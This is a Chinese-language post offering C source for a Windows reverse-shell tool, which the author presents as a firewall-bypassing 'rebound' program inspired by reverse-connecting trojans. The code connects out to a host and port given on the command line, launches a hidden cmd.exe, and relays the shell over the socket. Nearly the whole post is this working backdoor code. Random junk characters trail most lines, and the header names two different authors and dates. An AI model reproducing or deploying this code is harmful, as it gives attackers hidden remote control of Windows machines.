这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WN%KATA
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/* ============================== *iVCHQ~
Rebound port in Windows NT L#^'9v}Hb
By wind,2006/7 L+o"<LV]
===============================*/ `$odxo+
#include G 0;5I_D/
#include dy%#E2f
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sw
#pragma comment(lib,"wsock32.lib") 5??\[C^"}
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void OutputShell(); /?wH1 ,
SOCKET sClient; u!VAAX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q-g}{mFS
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void main(int argc,char **argv) 1^4z/<ZWm
{ nR1QS_@{L
WSADATA stWsaData; Dtw1q-
int nRet; >uN)O-
SOCKADDR_IN stSaiClient,stSaiServer; Zw`vPvb!
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if(argc != 3) {q-<1|xj/J
{ "Wz#<! .r
printf("Useage:\n\rRebound DestIP DestPort\n"); . w_oW mD
return; F qW[L>M'
} vS{zLXg
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WSAStartup(MAKEWORD(2,2),&stWsaData); k[p7)ec
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NY`$D}Bi
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stSaiClient.sin_family = AF_INET; Rr|&~%#z
stSaiClient.sin_port = htons(0); {:;599l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *$I5_A8,.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "+6:vhP5
{ W+C@(}pt
printf("Bind Socket Failed!\n"); "V;5Lp b
return; feH|sz`e
} }Ra'`;D$
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stSaiServer.sin_family = AF_INET; Uz`K#Bz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N BUSr}8|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _*I@ J/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @1w9!\7Vt
{ e)WpqaI
printf("Connect Error!"); !6UtwCVR
return; o`8dqP
} K2u$1OKv
OutputShell(); e /4{pe+,
} lStYfO:<'v
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void OutputShell() :q
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{ Xo{|m[,
char szBuff[1024]; Gs% cod
SECURITY_ATTRIBUTES stSecurityAttributes; q@}eYQ=P|e
OSVERSIONINFO stOsversionInfo; !e}LB%zf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^ MUSq(
STARTUPINFO stStartupInfo; J4-64t nZ
char *szShell; o6PDCaT7
PROCESS_INFORMATION stProcessInformation; oP$l( k
unsigned long lBytesRead; J4Ix\r_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5jTBPct
stSecurityAttributes.lpSecurityDescriptor = 0; 'ow`ej
stSecurityAttributes.bInheritHandle = TRUE; S|{'.XG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lAxbF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gRk%ObJGqm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |-W7n'n
stStartupInfo.wShowWindow = SW_HIDE; OKo39 A\fu
stStartupInfo.hStdInput = hReadPipe; G/2| *H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i,{'}B
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GetVersionEx(&stOsversionInfo); 5w\>Whbd
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switch(stOsversionInfo.dwPlatformId) nty^De%
{ meHnT9a^
case 1: XF`,mV4
szShell = "command.com"; 7g}lg8M
break; '8Q:}{
default: 8JP{`)
szShell = "cmd.exe"; jb!R
break; 6[dLj9 G%
} Q]Ymv:M,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k}5Sz
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send(sClient,szMsg,77,0); ^r u1QDT
while(1) fgs){Ng`
{ .#M'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #bqc}h9
if(lBytesRead) l Ikh4T6i
{ {xw"t9(fE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^ di[J^
send(sClient,szBuff,lBytesRead,0); ;\F3~rl
} Q -!,yCu
else @A_bZQ@
{ DriJn`vtzq
lBytesRead=recv(sClient,szBuff,1024,0); mG?g
if(lBytesRead<=0) break; X}~5%B(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vPm&0,R*y:
} c~@Z
} -'j_JJ
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return; \GL!x 7s1A
}